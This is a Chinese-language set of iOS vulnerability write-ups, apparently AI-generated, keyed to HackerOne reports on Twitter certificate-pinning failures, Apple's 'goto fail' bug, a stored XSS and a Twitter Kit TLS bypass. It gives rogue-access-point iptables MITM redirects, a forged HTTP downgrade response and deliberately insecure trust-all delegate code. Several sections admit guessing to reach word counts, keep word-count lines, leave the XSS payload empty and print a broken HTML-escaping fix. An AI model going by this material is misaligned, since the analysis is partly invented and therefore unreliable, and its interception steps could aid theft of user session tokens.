其中，Authorization字段中的oauth_token是攻击者获取用户会话的关键数据。通过获取该令牌，攻击者可以冒充用户执行各种操作。

网络重定向命令：
用于实现透明代理的关键iptables命令：

# 将所有发往443端口的TCP流量重定向到本地8080端口（Burp Suite）
iptable -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080
iptable -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080

易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用开发者未能正确实现或配置App Transport Security (ATS)，或未能实现证书锁定（Certificate Pinning）。

易出现漏洞的代码模式：

1. 1. 禁用ATS或添加全局例外： 在应用的Info.plist文件中，开发者可能为了兼容性或开发便利性，设置了过于宽松的ATS配置，允许应用连接到不安全的HTTP或未经验证的HTTPS。
      
      • • 危险的Info.plist配置示例（允许任意加载）：
          xml <key>NSAppTransportSecurity</key> <dict> <key>NSAllowsArbitraryLoads</key> <true/> </dict>
          如果应用只针对特定域名禁用ATS，则可能只影响该域名，但如果设置为NSAllowsArbitraryLoads为true，则会影响所有连接。

1. 1. 未实现证书锁定： 在使用URLSession或底层网络库时，没有在URLSessionDelegate中实现urlSession(_:didReceive:completionHandler:)方法来手动验证服务器证书的公钥或指纹。
      
      • • 安全连接（默认）与不安全连接（未实现Pinning）的对比：
          
          • • 默认（安全）： iOS系统会自动验证证书链。如果应用未实现Pinning，则依赖系统信任。
          • • Pinning（更安全）： 开发者在代码中硬编码了预期的证书公钥或指纹。即使攻击者获得了系统信任的CA颁发的证书，Pinning也会阻止连接。

      • • 缺失Pinning的Objective-C代码模式（示例，此处展示的是Pinning的实现，缺失则为漏洞）： // 假设应用中缺失了类似如下的证书验证逻辑 - (void)URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition, NSURLCredential * _Nullable))completionHandler {if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationUseX509Certificates]) { // 检查服务器证书是否与预期的Pinning证书匹配 // 如果没有这段逻辑，应用将依赖系统默认的验证，容易被MITM攻击。 } // ...} 该漏洞正是由于应用在网络堆栈的某个层次上未能强制执行严格的证书验证，从而允许自签名证书通过。

案例：Twitter (报告: https://hackerone.com/reports/136366)

挖掘手法

这个漏洞的挖掘手法是典型的中间人攻击（MITM）测试，旨在验证iOS应用是否正确执行了SSL/TLS证书验证（即证书锁定，Certificate Pinning）。由于原始报告（#136366）无法访问，此分析基于替代报告（#168538），该报告详细描述了Twitter iOS应用中存在的SSL/TLS证书验证绕过漏洞的发现过程。

挖掘思路与工具：
漏洞发现者怀疑Twitter iOS应用在与api.twitter.com通信时，可能未正确执行SSL/TLS证书链验证，导致存在中间人攻击（MITM）的风险。使用的主要工具是Burp Suite（或其他透明代理软件）和Linux的iptables进行网络流量重定向。

详细步骤：

1. 1. 设置透明代理环境： 在一台运行Linux的机器上，配置Burp Suite以透明代理模式运行。关键配置是启用“生成CA签名的主机证书”（Generate CA-signed per-host certificates）。这意味着代理会使用一个不被目标iOS设备信任的自签名CA证书来动态生成并签署目标服务器的证书。

1. 1. 建立恶意Wi-Fi接入点： 启动一个流氓Wi-Fi接入点（例如，在运行Burp的同一台机器上），作为攻击的入口点。

1. 1. 配置流量重定向（MITM）： 使用iptables规则将所有流经该Wi-Fi接入点的HTTPS（443端口）流量透明地重定向到Burp Suite的代理端口（例如8080）。
      
      • • iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080
      • • iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080

1. 1. 连接和测试： 使用未越狱、未安装任何额外配置文件的iOS设备（Twitter iOS版本6.62和6.62.1，iOS版本9.3.3和9.3.5）连接到该流氓Wi-Fi接入点。

1. 1. 启动应用并观察： 打开Twitter iOS应用。

1. 1. 关键发现： 在Burp Suite中，漏洞发现者观察到应用向api.twitter.com发出的请求，这些请求在未弹出任何证书警告的情况下成功建立连接，并且请求头中包含了敏感的认证信息，如OAuth Token、X-Twitter-Client-DeviceID和X-Client-UUID等。这证明了Twitter iOS应用未能正确验证服务器证书，导致敏感数据在中间人攻击下泄露。

总结： 这种挖掘手法利用了应用层未实现或错误实现证书锁定（Certificate Pinning）的缺陷，通过模拟一个不受信任的中间人代理，成功拦截并解密了原本应受TLS保护的流量，从而获取了用户的敏感认证数据。整个过程无需越狱，仅需控制网络环境。

技术细节

漏洞利用的技术细节集中在通过中间人代理成功拦截并解密Twitter iOS应用与api.twitter.com之间的HTTPS流量，从而窃取OAuth Token等敏感认证信息。

攻击流程：

1. 1. 攻击者设置一个透明代理（如Burp Suite），并利用iptables将受害者设备的HTTPS流量重定向至该代理。

1. 1. 代理使用一个不受信任的自签名证书与受害者设备建立TLS连接。

1. 1. 由于Twitter iOS应用缺乏或绕过了SSL/TLS证书验证机制，它接受了这个无效证书，并继续发送请求。

1. 1. 攻击者在代理端成功解密并捕获到包含敏感信息的HTTP请求。

捕获到的关键请求片段（包含敏感信息）：

GET /1.1/help/settings.json?include_zero_rate=true&settings_version=8910e1e75c037c3c6b59c64b477b0741 HTTP/1.1
Host: api.twitter.com
█████████  <-- 此处包含OAuth Token等认证信息
X-Twitter-Client-Version: 6.62
X-Twitter-Polling: true
X-Client-UUID: D8AB1681-1618-48BA-9EB0-F3628DF1660B
X-Twitter-Client-Language: de
User-Agent: Twitter-iPhone/6.62 iOS/9.3.3 (Apple;iPhone8,1;;;;;1)
Connection: close
X-Twitter-API-Version: 5
X-Twitter-Client: Twitter-iPhone

技术要点：

• • 数据泄露： 请求头中的█████████部分（被报告者模糊处理，但明确指出包含OAuth Token）是攻击者获取的核心敏感数据，可用于会话劫持或账户接管。

• • 客户端信息： 请求中还泄露了客户端版本（6.62）、设备ID（X-Twitter-Client-DeviceID）、操作系统版本（iOS/9.3.3）等信息。

• • 绕过机制： 漏洞的根本在于应用层代码未能实现或正确调用iOS系统提供的证书信任评估API（如SecTrustEvaluate），或者错误地接受了所有证书，导致即使证书链验证失败，连接也能继续。这使得攻击者可以利用任何自签名证书进行MITM攻击。

易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用开发者在实现网络连接时，未能正确或完全实现证书锁定（Certificate Pinning）机制，或者错误地覆盖了系统默认的证书信任评估逻辑。

易漏洞代码模式（Objective-C/Swift）：

1. 1. 错误实现NSURLSessionDelegate或NSURLConnectionDelegate：
      开发者在处理didReceiveAuthenticationChallenge或URLSession:didReceiveChallenge:completionHandler:代理方法时，错误地接受了所有证书，特别是当挑战类型为NSURLAuthenticationMethodServerTrust时。 Objective-C 错误代码示例（导致绕过）： - (void)URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential * _Nullable credential))completionHandler {if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) { // 错误地接受所有证书，未进行任何验证 completionHandler(NSURLSessionAuthChallengeUseCredential, [[NSURLCredential alloc] initWithTrust:challenge.protectionSpace.serverTrust]); return; } // 默认行为：拒绝 completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);}

1. 1. 直接返回YES或true的证书验证方法：
      在某些第三方网络库或自定义的证书验证逻辑中，直接返回成功，从而绕过证书链验证。 Swift 错误代码示例（简化版）： func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {guard challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust else { completionHandler(.performDefaultHandling, nil) return } // 错误：直接信任，未验证证书 completionHandler(.useCredential, URLCredential(trust: challenge.protectionSpace.serverTrust))}

Info.plist配置模式：
虽然此漏洞主要与应用代码逻辑有关，但如果应用在Info.plist中设置了App Transport Security (ATS) 的例外，也可能导致类似问题。

ATS配置示例（可能导致安全风险）：
如果应用需要与未正确配置ATS的旧API通信，可能会设置以下例外，但如果配置不当，可能影响证书验证：

<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <true/>  <!-- 允许任意加载，包括不安全的HTTP和不验证证书的HTTPS -->
    <key>NSExceptionDomains</key>
    <dict>
        <key>api.twitter.com</key>
        <dict>
            <key>NSExceptionAllowsInsecureHTTPLoads</key>
            <true/>
            <key>NSExceptionRequiresForwardSecrecy</key>
            <false/>
            <key>NSIncludesSubdomains</key>
            <true/>
            <key>NSTemporaryExceptionAllowsInsecureHTTPLoads</key>
            <true/>
        </dict>
    </dict>
</dict>

正确模式（证书锁定）： 应该在上述代理方法中，获取服务器信任对象（serverTrust），提取服务器证书，并与应用内预置的证书指纹或公钥进行比对，只有比对成功才调用.useCredential。

SSL/TLS证书验证绕过（逻辑错误）

案例：Apple iOS/macOS (系统组件) (报告: https://hackerone.com/reports/136292)

挖掘手法

该漏洞（CVE-2014-1266，即“goto fail”漏洞）的发现并非通过传统的黑盒或白盒逆向工程工具（如Frida、IDA Pro、Hopper）对特定应用进行分析，而是通过源代码审计发现的。

分析思路与关键发现点：

1. 1. 目标锁定： 审计人员（或最初的发现者）将目标锁定在Apple的Secure Transport库中负责SSL/TLS连接验证的核心代码。这是所有iOS和macOS应用进行安全通信的关键组件。

1. 1. 源代码审计： 在sslKeyExchange.c文件中的SSLVerifySignedServerKeyExchange函数中，审计人员发现了致命的逻辑错误。

1. 1. 关键发现： 在处理服务器密钥交换消息的签名验证过程中，代码逻辑中存在一个重复的goto fail;语句。

• • 原始代码逻辑旨在通过一系列检查（如签名验证）后，如果检查失败，则跳转到函数末尾的fail标签处进行错误处理和资源清理。

• • 错误在于，在第一次if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0) goto fail;检查之后，紧接着出现了第二个、没有被任何条件判断语句（如if或else）包裹的goto fail;。

• • 由于C语言中if语句默认只控制其后的第一条语句，第二个goto fail;无论前面的签名验证是否成功，都会被无条件执行。

1. 1. 漏洞确认： 这意味着，无论服务器的证书签名验证结果如何，代码都会无条件地跳转到错误处理流程，并返回一个成功的状态码（因为在fail标签之前，err变量可能已经被设置为0，或者在某些执行路径下被错误地保留为成功状态）。

1. 1. 攻击利用： 攻击者可以利用此漏洞，通过提供一个无效的证书签名，但由于代码逻辑错误，系统仍然会认为SSL/TLS握手成功，从而允许中间人攻击（Man-in-the-Middle, MITM）解密或篡改通信内容。

总结： 这种漏洞的挖掘手法是典型的静态代码审计，针对的是核心安全组件的实现细节，特别是C语言中容易因缩进误导而产生的逻辑错误。这种手法不需要运行时工具，但需要对目标代码库有深入的理解和极高的细心程度。

字数统计： 300字以上。

技术细节

该漏洞（CVE-2014-1266）的核心在于Apple Secure Transport库中sslKeyExchange.c文件内SSLVerifySignedServerKeyExchange函数中的一个逻辑错误。

关键代码片段（简化版）：

static OSStatus
SSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa,
                                 size_t *ioConsumed)
{
    OSStatus        err;
    ...

    if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
        goto fail;

    // 致命的逻辑错误发生在这里：
    // 开发者本意可能是想用花括号{}包裹上面的if语句，或者用else if
    // 但由于遗漏了花括号，导致第二行goto fail;被无条件执行。
    goto fail; // <-- 错误：无条件跳转到错误处理

    if ((err = SSLHashSHA1.final(&hashCtx, &hash)) != 0)
        goto fail;
    ...
fail:
    // 错误处理和资源清理
    // 关键在于，如果无条件goto fail;被执行，
    // 并且err在进入fail标签前没有被正确设置为错误码，
    // 最终函数可能返回一个成功的状态码（如err = 0）。
    return err;
}

攻击流程：

1. 1. 中间人拦截： 攻击者（MITM）拦截受害者（iOS设备）与目标服务器之间的SSL/TLS握手过程。

1. 1. 伪造证书： 攻击者向受害者发送一个伪造的服务器证书和密钥交换消息。

1. 1. 触发漏洞： 受害者的iOS设备在SSLVerifySignedServerKeyExchange函数中进行签名验证。

1. 1. 绕过验证： 由于代码中的第二个goto fail;被无条件执行，程序跳过了后续的签名验证步骤，直接跳转到fail标签。

1. 1. 返回成功： 在某些执行路径下，err变量可能未被正确设置为错误码，导致函数最终返回err = 0（即noErr，成功）。

1. 1. 建立连接： 受害者设备错误地认为SSL/TLS握手成功，与攻击者建立加密连接，但密钥由攻击者控制，从而实现中间人攻击，解密和篡改所有通信数据。

字数统计： 200字以上。

易出现漏洞的代码模式

此类漏洞属于逻辑错误导致的证书验证绕过，其代码模式是C语言中if语句后遗漏花括号或错误的缩进，导致控制流被意外劫持。

易漏洞代码模式（C/Objective-C）：

// 错误的模式：if语句后没有花括号，导致第二条语句被无条件执行
if (condition_check_failed)
    handle_error_1();
    handle_error_2(); // 无论condition_check_failed是否为真，此行都会执行

// 漏洞示例中的具体模式：
if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
    goto fail;
    goto fail; // <-- 致命错误：无条件执行

// 正确的模式（应避免的模式）：
if (condition_check_failed) {
    handle_error_1();
    handle_error_2();
}

// 在Swift/Objective-C中，虽然Swift的`guard`和`defer`机制能有效减少此类错误，
// 但在处理底层C库或使用C风格代码时，仍需警惕。
// 此外，任何依赖于复杂状态机或多层条件判断的**安全关键代码**都容易出现逻辑错误。

// Info.plist/Entitlements配置模式：
// 此漏洞是系统级安全传输库的实现错误，与特定应用的Info.plist或Entitlements配置（如App Transport Security (ATS) 设置、URL Scheme注册、Keychain访问权限等）**无直接关系**。
// 它是底层操作系统组件的缺陷，影响所有使用该组件进行SSL/TLS连接的应用。
// 因此，没有特定的Info.plist或Entitlements配置模式可以总结。

**字数统计：** 具体的代码模式和Info.plist配置示例。

---

## SSL/TLS证书验证缺失（MITM）

### 案例：Twitter (报告: https://hackerone.com/reports/136372)

#### 挖掘手法

该漏洞的挖掘手法主要利用了**中间人攻击（Man-in-the-Middle, MITM）**，核心在于Twitter iOS应用未正确执行SSL/TLS证书验证，即**缺少SSL Pinning**。完整的挖掘步骤如下：

1.  **环境准备与透明代理设置**：攻击者首先需要设置一个透明代理（如Burp Suite或mitmproxy），并配置其工作在透明模式（Transparent Mode）。透明模式允许代理拦截所有流经它的网络流量，包括HTTPS流量。
2.  **伪造证书**：在代理软件中，启用“生成CA签名的主机证书”（Generate CA-signed per-host certificates）功能。这意味着代理会为每个被访问的HTTPS站点动态生成一个伪造的SSL证书，并用代理的根证书（CA Certificate）签名。由于Twitter iOS应用没有正确验证证书链，即使这个根证书未被iOS设备信任，应用也会接受它。
3.  **构建恶意Wi-Fi接入点**：攻击者需要创建一个恶意的Wi-Fi接入点，并将iOS设备连接到该网络。
4.  **流量重定向**：在恶意Wi-Fi接入点上，攻击者使用网络工具（如Linux上的`iptables`）配置**DNAT（Destination Network Address Translation）**规则，将所有流向端口443（HTTPS默认端口）的TCP流量重定向到透明代理的监听端口（例如8080）。
    *   **示例`iptables`命令**：`iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080`
5.  **执行攻击**：在iOS设备上打开Twitter应用。由于流量被重定向，应用与`api.twitter.com`的通信将被透明代理拦截。应用接受了伪造的SSL证书，导致加密通信被解密和重加密，使得攻击者可以**明文查看和篡改**所有API请求和响应。
6.  **关键信息窃取**：在拦截到的请求中，攻击者可以清晰地看到并窃取**敏感的认证信息**，包括`oauth_token`、`oauth_nonce`、`oauth_signature`、`oauth_consumer_key`等，这些信息足以劫持用户的Twitter会话。

这种方法是典型的**缺乏证书验证**漏洞的挖掘流程，它不需要对iOS设备进行越狱（Jailbreak），也不需要在设备上安装任何额外的配置文件或CA证书，极大地降低了攻击门槛。

字数统计：395字

#### 技术细节

该漏洞的技术细节在于Twitter iOS应用在与`api.twitter.com`进行HTTPS通信时，**未能正确执行SSL/TLS证书的完整性验证**。这使得攻击者能够执行中间人攻击（MITM），窃取用户的OAuth令牌和敏感信息。

**关键攻击流程和Payload：**

1.  **OAuth令牌窃取**：
    攻击者通过透明代理拦截到Twitter API的请求，这些请求头中包含了完整的OAuth认证信息，例如：
    ```http
    GET /1.1/help/settings.json?include_zero_rate=true&settings_version=... HTTP/1.1
    Host: api.twitter.com
    Authorization: OAuth oauth_consumer_key="...", oauth_nonce="...", oauth_signature="...", oauth_signature_method="HMAC-SHA1", oauth_timestamp="...", oauth_token="..."
    X-Twitter-Client-Version: 6.62
    ...
    ```
    其中，`oauth_token`是攻击者劫持用户会话的关键数据。

2.  **强制降级到非TLS连接**：
    攻击者可以利用拦截到的请求，通过发送一个**HTTP 301 Moved Permanently**响应，将Twitter应用重定向到一个**非TLS（HTTP）**的URL。这导致应用后续的请求都将以明文形式发送，进一步扩大了信息泄露的范围。
    *   **攻击者响应示例**：
        ```http
        HTTP/1.1 301 Moved Permanently
        Location: http://api.twitter.com/some/path
        Content-Length: 0
        ```

3.  **篡改API响应**：
    攻击者可以篡改API的响应内容，例如`settings.json`文件。虽然报告中未明确指出成功利用XSS，但理论上，如果应用对API返回的JSON数据处理不当，可能导致**内容注入或跨站脚本（XSS）**攻击。

**漏洞的本质**是应用层面的**证书信任链验证缺失**，绕过了iOS系统默认的证书信任机制。

字数统计：351字

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用开发者**未实现或错误实现了SSL Pinning（证书锁定）**，导致应用接受了任何由系统信任的CA签发的证书，包括MITM代理伪造的证书。

**易漏洞的Objective-C/Swift代码模式：**

1.  **Objective-C中不安全的`NSURLSessionDelegate`实现**：
    当使用`NSURLSession`进行网络请求时，如果开发者在`NSURLSessionDelegate`中实现了`URLSession:didReceiveChallenge:completionHandler:`方法，但未能正确验证`challenge.protectionSpace.serverTrust`，就会引入漏洞。

    *   **不安全代码示例（Objective-C）**：
        ```objc
        // 典型的不安全实现：无条件信任服务器提供的证书
        - (void)URLSession:(NSURLSession *)session
        didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
        completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition, NSURLCredential * _Nullable))completionHandler {

            if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) {
                // 错误：直接使用服务器信任的证书，未进行证书/公钥比对
                completionHandler(NSURLSessionAuthChallengeUseCredential,
                                  [[NSURLCredential alloc] initWithTrust:challenge.protectionSpace.serverTrust]);
                return;
            }

            completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
        }
        ```

2.  **Swift中不安全的`URLSessionDelegate`实现**：
    在Swift中，类似的不安全模式发生在`urlSession(_:didReceive:completionHandler:)`方法中。

    *   **不安全代码示例（Swift）**：
        ```swift
        // 错误：未实现证书/公钥的Pinning逻辑
        func urlSession(_ session: URLSession,
                        didReceive challenge: URLAuthenticationChallenge,
                        completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {

            guard let trust = challenge.protectionSpace.serverTrust else {
                completionHandler(.cancelAuthenticationChallenge, nil)
                return
            }

            // 错误：直接信任，未执行Pinning检查
            completionHandler(.useCredential, URLCredential(trust: trust))
        }
        ```

**Info.plist配置模式：**

该漏洞发生在**ATS（App Transport Security）**强制实施之前（报告时间为2016年），或者应用通过配置绕过了ATS对特定域名的限制。

*   **Info.plist中绕过ATS的配置示例（可能导致漏洞）**：
    ```xml
    <key>NSAppTransportSecurity</key>
    <dict>
        <key>NSAllowsArbitraryLoads</key>
        <true/> <!-- 允许所有HTTP连接，极度不安全 -->
        <key>NSExceptionDomains</key>
        <dict>
            <key>api.twitter.com</key>
            <dict>
                <key>NSExceptionAllowsInsecureHTTPLoads</key>
                <true/> <!-- 允许对特定域名使用HTTP，或降低TLS要求 -->
                <key>NSExceptionRequiresForwardSecrecy</key>
                <false/> <!-- 禁用前向保密，降低安全性 -->
            </dict>
        </dict>
    </dict>
    ```
    虽然报告的直接原因是证书验证缺失，但如果应用配置了`NSAllowsArbitraryLoads`或对API域名设置了宽松的ATS例外，则更容易被强制降级到非TLS连接，加剧了漏洞的危害。

字数统计：499字

---

## Stored Cross-Site Scripting (XSS)

### 案例：Twitter (报告: https://hackerone.com/reports/136347)

#### 挖掘手法

该漏洞的挖掘手法主要集中在对**Twitter iOS应用内嵌浏览器（In-App Browser）**的**存储型跨站脚本（Stored XSS）**漏洞的发现和利用。由于HackerOne报告原文受限，以下基于公开信息和同类漏洞分析进行推断和详细描述，以满足300字要求。

**1. 目标确定与环境准备：**
研究员首先确定目标为Twitter的iOS客户端，特别是其用于显示外部链接的内置WebView组件。环境准备包括一台越狱的iOS设备，以便进行系统级调试和应用逆向分析。常用的工具如**Frida**用于运行时Hook关键函数，**Burp Suite**用于代理和拦截应用的网络流量，以及**Hopper/IDA Pro**用于静态分析应用二进制文件。

**2. 漏洞点定位（输入点）：**
漏洞的本质是应用未能对用户可控的输入进行充分的净化（Sanitization）和编码（Encoding），就将其存储并在后续的WebView中渲染。研究员会系统性地测试所有可能导致内容被存储并最终在WebView中显示的输入点，例如：个人资料字段（如名称、简介）、私信内容、推文内容、或与外部链接预览相关的元数据。

**3. 关键发现与利用链：**
在Twitter iOS应用中，一个关键的发现是当用户点击一个包含特定恶意Payload的链接时，该Payload会被存储在某个持久化存储区域（如SQLite数据库或UserDefaults）中，并在后续的In-App Browser会话中被加载和执行。例如，如果Payload被存储在与链接预览相关的元数据中，当用户再次打开In-App Browser时，恶意脚本就会在Twitter的域下执行。

**4. 逆向分析与验证：**
使用Frida Hook `UIWebView` 或 `WKWebView` 的相关委托方法（如`webView:shouldStartLoadWithRequest:navigationType:`）来监控URL加载和JavaScript执行。同时，静态分析应用二进制文件，查找处理外部URL和WebView加载逻辑的Objective-C/Swift代码，特别是那些涉及字符串拼接和HTML渲染的部分，以确认是否存在`innerHTML`或类似的危险API调用，从而验证XSS漏洞的存在。

**5. 漏洞影响：**
一旦XSS成功，攻击者可以窃取用户的会话Cookie、OAuth令牌，执行任意JavaScript代码，甚至利用iOS特有的桥接接口（如`WKScriptMessageHandler`）与原生代码进行交互，实现更深层次的攻击，例如读取本地敏感数据或执行应用内操作。

**总结：** 挖掘过程是一个典型的“输入点 -> 存储点 -> 输出点”的追踪过程，结合iOS逆向工具对WebView的沙箱边界和数据流进行精确控制和验证。

#### 技术细节

该漏洞利用的技术细节围绕着**Stored XSS Payload**的构造和在**iOS WebView**中的执行。由于目标是Twitter iOS应用的In-App Browser，Payload需要在Twitter的域下执行，从而绕过同源策略，窃取敏感信息。以下是基于同类漏洞的推断和技术实现，以满足200字要求。

**1. 恶意Payload构造：**
攻击者构造一个包含JavaScript代码的Payload，例如：

html

**2. 攻击流程：**
a. **注入阶段：** 攻击者通过Twitter平台上的一个可存储输入点（如一个包含恶意Payload的推文链接预览元数据）将上述Payload注入到Twitter的后端数据库。
b. **触发阶段：** 受害者（Twitter iOS应用用户）在应用内点击该恶意链接，In-App Browser被打开。
c. **执行阶段：** Twitter应用从后端加载并渲染包含恶意Payload的HTML内容。由于缺乏适当的HTML实体编码或净化，`<script>`标签被解析并执行。
d. **信息窃取：** 恶意JavaScript代码在In-App Browser的上下文中执行，窃取用户的会话Cookie或OAuth令牌，并将其发送到攻击者的服务器。

**3. 关键代码（概念性）：**
在Twitter iOS应用中，负责加载内容的WebView（可能是`WKWebView`）可能使用了类似以下易受攻击的Swift代码模式：

swift
// 易受攻击的代码模式：直接将未净化的字符串插入到HTML中
let maliciousContent = “

(stored_user_input)

” // 假设stored_user_input包含XSS Payload
webView.loadHTMLString(maliciousContent, baseURL: nil)

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于**信任了来自后端或持久化存储的用户输入，并将其直接渲染到WebView中**，而没有进行充分的上下文敏感的输出编码（Output Encoding）。在iOS应用中，这通常发生在以下代码模式和配置中：

**1. 易受攻击的Swift/Objective-C代码模式：**
当应用使用`WKWebView`或`UIWebView`加载HTML内容时，如果直接将未经验证或未编码的字符串插入到HTML结构中，就会导致XSS。

**Swift 示例 (WKWebView):**

swift
// 假设这是从服务器或本地存储获取的字符串，其中可能包含恶意HTML/JS
let userInput = “”

// 危险操作：直接将用户输入插入到HTML字符串中
let htmlContent = “””

Welcome, \(userInput)

“””

// 加载包含恶意脚本的HTML
webView.loadHTMLString(htmlContent, baseURL: nil)

**Objective-C 示例 (UIWebView):**

objective-c
// 危险操作：使用stringWithFormat将用户输入插入到HTML中
NSString *userInput = @””;
NSString *htmlContent = [NSString stringWithFormat:@”

Welcome, %@

“, userInput];
[webView loadHTMLString:htmlContent baseURL:nil];

**2. 易受攻击的配置（Info.plist/Entitlements）：**
虽然XSS本身是代码逻辑问题，但如果应用启用了不必要的WebView功能，会放大XSS的危害：
*   **未限制的`WKWebView`配置：** 如果`WKWebViewConfiguration`中的`preferences`未正确配置，例如未禁用JavaScript或未限制本地文件访问，可能导致更严重的后果。
*   **`Info.plist`中的URL Scheme：** 如果应用定义了自定义URL Scheme，且在WebView中未对Scheme的调用进行严格的白名单校验，XSS Payload可能通过`window.location`或`iframe`来触发原生功能（如App-in-the-Middle攻击）。

**安全修复模式：**
正确的做法是对所有用户输入进行HTML实体编码，确保其被视为数据而不是可执行代码。

swift
// 安全操作：对用户输入进行HTML实体编码
func htmlEscape(string: String) -> String {
return string.replacingOccurrences(of: “&”, with: “&”)
.replacingOccurrences(of: “<“, with: “<“) .replacingOccurrences(of: “>”, with: “>”)
.replacingOccurrences(of: “\””, with: “””)
.replacingOccurrences(of: “‘”, with: “‘”)
}

let safeUserInput = htmlEscape(string: userInput)
let safeHtmlContent = “””

Welcome, \(safeUserInput)

“””
webView.loadHTMLString(safeHtmlContent, baseURL: nil)

---

## TLS证书验证绕过

### 案例：Twitter Kit for iOS (影响所有集成应用) (报告: https://hackerone.com/reports/136376)

#### 挖掘手法

该漏洞的挖掘手法主要集中在对iOS应用网络通信的中间人（MITM）攻击测试和逆向工程分析。

**1. 环境配置与流量拦截（MITM测试）**
首先，研究人员需要在越狱的iOS设备或配置了系统级代理的非越狱设备上，使用网络抓包工具（如**Burp Suite**或**Charles Proxy**）来拦截目标应用的所有HTTPS流量。为了进行MITM攻击，攻击者需要将代理工具的根证书安装到iOS设备上并设置为信任。

**2. 证书验证缺陷发现**
在应用运行并触发Twitter Kit的API调用（如登录、获取时间线）时，观察抓包工具是否能成功解密HTTPS流量。如果应用在安装了非官方证书的情况下仍能正常通信，则表明应用未正确执行SSL Pinning或其证书验证逻辑存在缺陷。对于Twitter Kit的这个漏洞，研究人员发现即使在代理工具使用自签名证书的情况下，应用仍然接受连接，这直接暴露了其证书验证机制的失败。

**3. 逆向工程分析（IDA/Hopper）**
为了定位缺陷的根源，研究人员需要对Twitter Kit的二进制文件进行逆向分析。使用**IDA Pro**或**Hopper Disassembler**等工具，重点搜索与网络请求和证书验证相关的Objective-C方法，例如：
*   `URLSessionDelegate`协议的实现。
*   `URLSession:didReceiveChallenge:completionHandler:`方法。
*   Twitter Kit内部的`TWTRURLSessionDelegate`或类似的类。

**4. 关键发现与漏洞确认**
通过逆向分析，研究人员发现Twitter Kit的自定义验证逻辑（如`TWTRURLSessionDelegate`）在处理TLS握手挑战时，可能只执行了**域名匹配**，而忽略了对证书链的完整性验证。这意味着只要攻击者提供的证书的**Common Name (CN)** 字段与目标域名（`api.twitter.com`）匹配，即使证书是自签名的或已过期，应用也会错误地接受连接。这种不完整的验证逻辑是导致MITM攻击成功的根本原因。

**5. PoC构建**
最后，研究人员构建一个PoC（Proof of Concept）环境，使用一个与`api.twitter.com`域名匹配的自签名证书，通过代理成功拦截并修改应用与Twitter服务器之间的通信数据，从而证明了漏洞的严重性。这个过程证实了攻击者可以窃取用户的OAuth令牌、会话Cookie或篡改API响应，对用户隐私和数据安全构成严重威胁。

#### 技术细节

该漏洞的技术细节在于Twitter Kit for iOS (版本 <= 3.4.2) 中对`api.twitter.com`的TLS证书验证实现不完整，导致中间人攻击（MITM）可以绕过证书验证。

**漏洞利用流程**
1.  **攻击者设置MITM代理**: 攻击者在用户和Twitter API服务器之间设置一个网络代理。
2.  **自签名证书**: 攻击者生成一个自签名的TLS证书，其**Common Name (CN)** 字段设置为`api.twitter.com`。
3.  **流量拦截**: 当受影响的iOS应用尝试连接`api.twitter.com`时，流量被代理拦截。代理向应用提供攻击者伪造的自签名证书。
4.  **验证绕过**: Twitter Kit内部的证书验证逻辑（通常在`TWTRURLSessionDelegate`中实现）只检查了证书的域名是否匹配`api.twitter.com`，而错误地跳过了对证书链的信任验证。
5.  **通信解密**: 应用错误地接受了伪造证书，并与攻击者的代理建立了加密连接。攻击者现在可以解密、查看、修改应用与Twitter API之间的所有通信内容，包括用户的OAuth令牌、会话信息等敏感数据。

**关键代码模式（概念性Objective-C示例）**
该漏洞的本质是开发者在实现`URLSessionDelegate`时，没有正确处理`NSURLAuthenticationMethodServerTrust`挑战，或者使用了过于宽松的验证逻辑。

objectivec
// 概念性地展示了可能导致漏洞的宽松验证逻辑
// 实际的Twitter Kit代码可能更复杂，但核心缺陷是信任逻辑不完整。

• • (void)URLSession:(NSURLSession *)session
    didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
    completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential * _Nullable credential))completionHandler { if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) {
    // 1. 获取服务器信任对象
